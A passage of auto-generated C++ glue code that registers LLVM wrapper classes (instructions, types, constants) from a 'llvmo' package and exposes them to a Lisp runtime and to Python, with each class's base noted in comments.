set(['llvmo::CompositeType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ArrayType_O(core::Lisp_sp); // base(s): set(['llvmo::SequentialType_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ArrayType_O\");\n    Register_llvmo__ArrayType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__AtomicCmpXchgInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__AtomicCmpXchgInst_O\");\n    Register_llvmo__AtomicCmpXchgInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__AtomicRMWInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__AtomicRMWInst_O\");\n    Register_llvmo__AtomicRMWInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__CallInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__CallInst_O\");\n    Register_llvmo__CallInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantArray_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantArray_O\");\n    Register_llvmo__ConstantArray_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantDataSequential_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantDataSequential_O\");\n    Register_llvmo__ConstantDataSequential_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantExpr_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantExpr_O\");\n    Register_llvmo__ConstantExpr_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantFP_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantFP_O\");\n    Register_llvmo__ConstantFP_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantInt_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantInt_O\");\n    Register_llvmo__ConstantInt_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantPointerNull_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantPointerNull_O\");\n    Register_llvmo__ConstantPointerNull_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__DataLayout_O(core::Lisp_sp); // base(s): set(['llvmo::ImmutablePass_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__DataLayout_O\");\n    Register_llvmo__DataLayout_O(_lisp); // base(s): set(['llvmo::ImmutablePass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__FenceInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__FenceInst_O\");\n    Register_llvmo__FenceInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__GlobalValue_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__GlobalValue_O\");\n    Register_llvmo__GlobalValue_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__LandingPadInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__LandingPadInst_O\");\n    Register_llvmo__LandingPadInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__PHINode_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__PHINode_O\");\n    Register_llvmo__PHINode_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__PointerType_O(core::Lisp_sp); // base(s): set(['llvmo::SequentialType_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__PointerType_O\");\n    Register_llvmo__PointerType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__StoreInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__StoreInst_O\");\n    Register_llvmo__StoreInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__TerminatorInst_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__TerminatorInst_O\");\n    Register_llvmo__TerminatorInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__UnaryInstruction_O(core::Lisp_sp); // base(s): set(['llvmo::Instruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__UnaryInstruction_O\");\n    Register_llvmo__UnaryInstruction_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__UndefValue_O(core::Lisp_sp); // base(s): set(['llvmo::Constant_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__UndefValue_O\");\n    Register_llvmo__UndefValue_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__VectorType_O(core::Lisp_sp); // base(s): set(['llvmo::SequentialType_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__VectorType_O\");\n    Register_llvmo__VectorType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__AllocaInst_O(core::Lisp_sp); // base(s): set(['llvmo::UnaryInstruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__AllocaInst_O\");\n    Register_llvmo__AllocaInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__BranchInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__BranchInst_O\");\n    Register_llvmo__BranchInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ConstantDataArray_O(core::Lisp_sp); // base(s): set(['llvmo::ConstantDataSequential_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ConstantDataArray_O\");\n    Register_llvmo__ConstantDataArray_O(_lisp); // base(s): set(['llvmo::ConstantDataSequential_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Function_O(core::Lisp_sp); // base(s): set(['llvmo::GlobalValue_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Function_O\");\n    Register_llvmo__Function_O(_lisp); // base(s): set(['llvmo::GlobalValue_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__GlobalVariable_O(core::Lisp_sp); // base(s): set(['llvmo::GlobalValue_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__GlobalVariable_O\");\n    Register_llvmo__GlobalVariable_O(_lisp); // base(s): set(['llvmo::GlobalValue_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__IndirectBrInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__IndirectBrInst_O\");\n    Register_llvmo__IndirectBrInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__InvokeInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__InvokeInst_O\");\n    Register_llvmo__InvokeInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__LoadInst_O(core::Lisp_sp); // base(s): set(['llvmo::UnaryInstruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__LoadInst_O\");\n    Register_llvmo__LoadInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ResumeInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ResumeInst_O\");\n    Register_llvmo__ResumeInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ReturnInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ReturnInst_O\");\n    Register_llvmo__ReturnInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__SwitchInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__SwitchInst_O\");\n    Register_llvmo__SwitchInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__UnreachableInst_O(core::Lisp_sp); // base(s): set(['llvmo::TerminatorInst_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__UnreachableInst_O\");\n    Register_llvmo__UnreachableInst_O(_lisp); // base(s): set(['llvmo::TerminatorInst_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__VAArgInst_O(core::Lisp_sp); // base(s): set(['llvmo::UnaryInstruction_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__VAArgInst_O\");\n    Register_llvmo__VAArgInst_O(_lisp); // base(s): set(['llvmo::UnaryInstruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#endif // EXPOSE_TO_CANDO\n#undef EXPOSE_TO_CANDO\n#ifdef EXPOSE_TO_PYTHON\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__APFloat_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__APFloat_O\");\n\tCall_exposePython_llvmo__APFloat_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__APInt_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__APInt_O\");\n\tCall_exposePython_llvmo__APInt_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Attribute_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Attribute_O\");\n\tCall_exposePython_llvmo__Attribute_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Builder_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Builder_O\");\n\tCall_exposePython_llvmo__Builder_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__DebugLoc_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__DebugLoc_O\");\n\tCall_exposePython_llvmo__DebugLoc_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__EngineBuilder_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__EngineBuilder_O\");\n\tCall_exposePython_llvmo__EngineBuilder_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ExecutionEngine_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ExecutionEngine_O\");\n\tCall_exposePython_llvmo__ExecutionEngine_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__IRBuilderBase_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__IRBuilderBase_O\");\n\tCall_exposePython_llvmo__IRBuilderBase_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__InsertPoint_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__InsertPoint_O\");\n\tCall_exposePython_llvmo__InsertPoint_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__LLVMContext_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__LLVMContext_O\");\n\tCall_exposePython_llvmo__LLVMContext_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Module_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Module_O\");\n\tCall_exposePython_llvmo__Module_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__PassManagerBase_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__PassManagerBase_O\");\n\tCall_exposePython_llvmo__PassManagerBase_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Pass_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Pass_O\");\n\tCall_exposePython_llvmo__Pass_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Type_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Type_O\");\n\tCall_exposePython_llvmo__Type_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Value_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Value_O\");\n\tCall_exposePython_llvmo__Value_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Argument_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Argument_O\");\n\tCall_exposePython_llvmo__Argument_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__BasicBlock_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__BasicBlock_O\");\n\tCall_exposePython_llvmo__BasicBlock_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__CompositeType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__CompositeType_O\");\n\tCall_exposePython_llvmo__CompositeType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__FunctionPassManager_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__FunctionPassManager_O\");\n\tCall_exposePython_llvmo__FunctionPassManager_O(_lisp); // base(s): set(['llvmo::PassManagerBase_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__FunctionPass_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__FunctionPass_O\");\n\tCall_exposePython_llvmo__FunctionPass_O(_lisp); // base(s): set(['llvmo::Pass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__FunctionType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__FunctionType_O\");\n\tCall_exposePython_llvmo__FunctionType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__IRBuilder_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__IRBuilder_O\");\n\tCall_exposePython_llvmo__IRBuilder_O(_lisp); // base(s): set(['llvmo::IRBuilderBase_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__IntegerType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__IntegerType_O\");\n\tCall_exposePython_llvmo__IntegerType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__MDNode_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__MDNode_O\");\n\tCall_exposePython_llvmo__MDNode_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__MDString_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__MDString_O\");\n\tCall_exposePython_llvmo__MDString_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ModulePass_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ModulePass_O\");\n\tCall_exposePython_llvmo__ModulePass_O(_lisp); // base(s): set(['llvmo::Pass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__User_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__User_O\");\n\tCall_exposePython_llvmo__User_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Constant_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Constant_O\");\n\tCall_exposePython_llvmo__Constant_O(_lisp); // base(s): set(['llvmo::User_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ImmutablePass_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ImmutablePass_O\");\n\tCall_exposePython_llvmo__ImmutablePass_O(_lisp); // base(s): set(['llvmo::ModulePass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__Instruction_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__Instruction_O\");\n\tCall_exposePython_llvmo__Instruction_O(_lisp); // base(s): set(['llvmo::User_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__SequentialType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__SequentialType_O\");\n\tCall_exposePython_llvmo__SequentialType_O(_lisp); // base(s): set(['llvmo::CompositeType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__StructType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__StructType_O\");\n\tCall_exposePython_llvmo__StructType_O(_lisp); // base(s): set(['llvmo::CompositeType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ArrayType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ArrayType_O\");\n\tCall_exposePython_llvmo__ArrayType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__AtomicCmpXchgInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__AtomicCmpXchgInst_O\");\n\tCall_exposePython_llvmo__AtomicCmpXchgInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__AtomicRMWInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__AtomicRMWInst_O\");\n\tCall_exposePython_llvmo__AtomicRMWInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__CallInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__CallInst_O\");\n\tCall_exposePython_llvmo__CallInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantArray_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantArray_O\");\n\tCall_exposePython_llvmo__ConstantArray_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantDataSequential_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantDataSequential_O\");\n\tCall_exposePython_llvmo__ConstantDataSequential_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantExpr_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantExpr_O\");\n\tCall_exposePython_llvmo__ConstantExpr_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantFP_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantFP_O\");\n\tCall_exposePython_llvmo__ConstantFP_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantInt_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantInt_O\");\n\tCall_exposePython_llvmo__ConstantInt_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__ConstantPointerNull_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__ConstantPointerNull_O\");\n\tCall_exposePython_llvmo__ConstantPointerNull_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__DataLayout_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__DataLayout_O\");\n\tCall_exposePython_llvmo__DataLayout_O(_lisp); // base(s): set(['llvmo::ImmutablePass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__FenceInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__FenceInst_O\");\n\tCall_exposePython_llvmo__FenceInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__GlobalValue_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__GlobalValue_O\");\n\tCall_exposePython_llvmo__GlobalValue_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__LandingPadInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__LandingPadInst_O\");\n\tCall_exposePython_llvmo__LandingPadInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__PHINode_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__PHINode_O\");\n\tCall_exposePython_llvmo__PHINode_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__PointerType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__PointerType_O\");\n\tCall_exposePython_llvmo__PointerType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__StoreInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__StoreInst_O\");\n\tCall_exposePython_llvmo__StoreInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__TerminatorInst_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__TerminatorInst_O\");\n\tCall_exposePython_llvmo__TerminatorInst_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__UnaryInstruction_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__UnaryInstruction_O\");\n\tCall_exposePython_llvmo__UnaryInstruction_O(_lisp); // base(s): set(['llvmo::Instruction_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__UndefValue_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__UndefValue_O\");\n\tCall_exposePython_llvmo__UndefValue_O(_lisp); // base(s): set(['llvmo::Constant_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__VectorType_O(::core::Lisp_sp lisp);\n{_DBG(\"exposing to python: llvmo__VectorType_O\");\n\tCall_exposePython_llvmo__VectorType_O(_lisp); // base(s): set(['llvmo::SequentialType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Call_exposePython_llvmo__AllocaInst_O(::core::Lisp_sp 